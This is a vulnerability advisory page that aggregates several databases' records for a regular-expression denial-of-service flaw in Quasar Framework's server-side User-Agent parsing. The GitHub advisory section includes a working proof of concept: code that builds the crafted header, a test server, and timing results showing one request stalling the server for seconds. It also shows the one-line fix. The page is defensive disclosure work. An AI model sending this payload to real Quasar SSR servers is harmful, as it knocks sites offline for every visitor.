Quasar Framework: Super-linear regex backtracking on User-Agent lets one request stall a Quasar SSR server

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3.

Source published

6 Oct 2026 17:14:45 UTC

Source modified

9 Oct 2026 01:18:50 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3.

Source published

Oct 6, 2026, 5:14:45 PM (timezone not stated)

Source modified

Oct 9, 2026, 1:18:50 AM (timezone not stated)

Observed here

9 Nov 2026 05:06:15 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to 2.23.3, Platform.parseSSR() passed an unbounded User-Agent request header to getMatch() in ui/src/plugins/platform/Platform.js, whose browser-detection expressions combined greedy captures with repeated unbounded scans. Platform belongs to autoInstalledPlugins, so this parsing occurs before routing for every SSR request. A crafted unauthenticated request containing repeated version tokens without a terminating Safari token causes super-linear backtracking and blocks the Node.js event loop, delaying every other SSR request. SPA, PWA, Electron, Cordova, Capacitor, browser-extension, and static-site-generation targets are not affected because they do not parse an attacker-controlled request header through this path. This issue is fixed in version 2.23.3.

Source published

6 Oct 2026 18:16:51 UTC

Source modified

9 Oct 2026 02:16:57 UTC

Observed here

25 Oct 2026 04:17:41 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

### Summary One unauthenticated request with a crafted `User-Agent` stalls a Quasar SSR server for seconds. Quasar auto-installs its `Platform` plugin on every server-side render, and `Platform.parseSSR()` feeds the raw, unbounded `User-Agent` request header into a chain of backtracking regular expressions in `getMatch()`. One of those patterns contains a greedy capture followed by two unbounded `.*` scans, so a crafted header costs time proportional to the cube of its length. An 8 KB `User-Agent` blocks the Node.js event loop for about 4.4 seconds, and a 16 KB one for about 35 seconds. During that time the server answers nobody, so a handful of tiny requests take an SSR site completely offline. ### Details `Platform` is in the `autoInstalledPlugins` array in `ui/src/install-quasar.js`, so it is installed unconditionally by `app.use(Quasar, ...)`. The generated SSR entry (`app-vite/templates/entry/app.js`, called from `app-vite/templates/entry/server-entry.js`) runs that for every HTTP request, and it runs before routing, so requests to paths that do not exist are affected too. On the server the plugin takes the header verbatim (`ui/src/plugins/platform/Platform.js`): ```js Platform.parseSSR = ssrContext => { const ua = ssrContext.req.headers['user-agent'] || ssrContext.req.headers['User-Agent'] || '' return { ...client, userAgent: ua, is: getPlatform(ua) } } ``` `getPlatform()` lowercases the string and passes it to `getMatch()` (`ui/src/plugins/platform/Platform.js:23-45`), which evaluates an ordered chain of `exec()` calls. The sixth alternative, at `ui/src/plugins/platform/Platform.js:32-34`, is the problem: ```js /(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(userAgent) ``` `([\w.]+)` is greedy and unbounded, and it is followed by two unbounded `.*` scans. When the input contains `webkit/`, many `version/` tokens, and no `safari/`, the pattern can only fail after the engine has tried every combination of "where `([\w.]+)` stops" against "which `version` occurrence the first `.*` lands on" against "how far the second `.*` searches for `safari`". That is O(k * m * L) states, and none of the earlier alternatives short-circuit it because none of them match. The fifth alternative has the same shape. Measured on the functions loaded verbatim out of `ui/src/plugins/platform/Platform.js`, cost grows by a factor of eight for every doubling of the header: ``` UA 3998 B -> 554 ms UA 7998 B -> 4368 ms fits nginx default large_client_header_buffers 8k UA 15998 B -> 34995 ms fits Node.js default --max-http-header-size 16k ``` A same-length header of ordinary characters costs 0.1 ms, so this is the regex and not the length. Client-side rendering is not affected: there `getPlatform()` only ever sees `navigator.userAgent`, which the attacker does not control. The problem is specific to the SSR path, where the string arrives from the network. ### PoC The vulnerable pattern ships in the published package. From `node_modules/quasar/dist/quasar.server.prod.js` of `[email protected]`: ``` function M(e,t){let n=/(edg|edge|edga|edgios)\/([\w.]+)/.exec(e)||... ||/(webkit)[\/]([\w.]+).*(version)[\/]([\w.]+).*(safari)[\/]([\w.]+)/.exec(e)||... I.parseSSR=e=>{let t=e.req.headers[`user-agent`]||e.req.headers[`User-Agent`]||``; return{...F,userAgent:t,is:P(t)}}; ``` Build the header: ```js const k = 3200 // filler that maximises the greedy capture const m = 479 // "version/" tokens for the first .* to land on const ua = 'webkit/' + 'a'.repeat(k) + ' ' + 'version/1 '.repeat(m) // 7998 bytes ``` Server used for the end to end run, which performs exactly the per-request work Quasar SSR performs, through the real published package: ```js import http from 'node:http' import { Platform } from 'quasar' // resolves to dist/quasar.server.prod.js http.createServer((req, res) => { const platform = Platform.parseSSR({ req, res }) // what app.use(Quasar, ...) does res.end(`<!doctype html><html><body>browser=${platform.is.name}</body></html>`) }).listen(3100, '127.0.0.1') ``` Results of driving that server with the 7998-byte header: ``` [1] BASELINE - normal browser UA benign UA, GET / status=200 13 ms benign UA, GET / (2nd) status=200 1 ms [2] NEGATIVE CONTROL - benign UA of the SAME 7998-byte length same-size benign UA status=200 2 ms [3] POSITIVE - crafted User-Agent malicious UA, GET / status=200 4355 ms [4] POSITIVE - crafted UA against a NON-EXISTENT route malicious UA, GET /404path status=200 4319 ms [5] REALIZED IMPACT - attacker sends 1 request, a normal user arrives 120 ms later attacker (malicious UA) status=200 4329 ms VICTIM (normal browser, benign UA) status=200 4208 ms [6] SUSTAINED - 5 attacker requests in flight, victim loads the site VICTIM during 5-request flood status=200 21646 ms ``` Step 5 is the part that matters. The victim sends an ordinary request with an ordinary `User-Agent` and waits 4.2 seconds for it, because the event loop is busy backtracking on somebody else's header. Step 6 shows 39 KB of attacker traffic buying 21.6 seconds of total unavailability. Negative control on the library itself. One line changed in the installed `node_modules/quasar/dist/quasar.server.prod.js`: ``` - I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t)}}; + I.parseSSR=e=>{let t=...;return{...F,userAgent:t,is:P(t.slice(0,512))}}; ``` Re-running the identical attack against the patched build: ``` [3] malicious UA, GET / status=200 2 ms was 4355 ms [4] malicious UA, GET /404path status=200 2 ms was 4319 ms [5] VICTIM (normal browser) status=200 3 ms was 4208 ms [6] VICTIM during 5-request flood status=200 2 ms was 21646 ms ``` Detection of real browsers is unchanged by the cap (`chrome 126.0.0.0`, platform `linux`), which confirms the blow-up comes from the unbounded attacker string reaching the regex and nothing else. The same numbers come out of a server that never touches `parseSSR` directly and instead boots Quasar the way the generated entry does, letting `install-quasar.js` run the auto-installed plugin list on its own: ```js const ssrContext = { req, res } const app = createSSRApp(RootComponent) app.use(Quasar, {}, ssrContext) const html = await renderToString(app, ssrContext) ``` ``` [3] malicious UA, GET / status=200 4354 ms [5] VICTIM (normal browser, benign UA) status=200 4269 ms [6] VICTIM during 5-request flood status=200 21872 ms [2] same-size benign UA (7998 B) status=200 2 ms ``` ### Impact Uncontrolled resource consumption through inefficient regular expression complexity. Any app built and served in SSR mode is affected, including SSR plus PWA, in both `quasar dev -m ssr` and `quasar build -m ssr`. There is no configuration that turns it off, because `Platform` is part of the auto-installed plugin set, and no authentication or user interaction is involved: a single unauthenticated GET to any path carries the payload. Node.js is single threaded, so the cost is not paid by the attacker's connection alone. Every other visitor is queued behind it. Roughly 40 KB of traffic buys 20 seconds of downtime in the measurements above, and the cost scales with the cube of the header size, so an attacker who can send 16 KB headers gets about 35 seconds per request. Common reverse proxies do not help: nginx accepts an 8 KB header line by default and Node accepts 16 KB. Apps built for SPA, PWA, Electron, Cordova, Capacitor or browser-extension targets are not affected, since there the parser only ever sees the local `navigator.userAgent`. Static site generation is not affected either, because the `ssrContext` used there is supplied by the developer rather than by a request.

Source published

7 Oct 2026 16:14:31 UTC

Source modified

7 Oct 2026 16:30:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH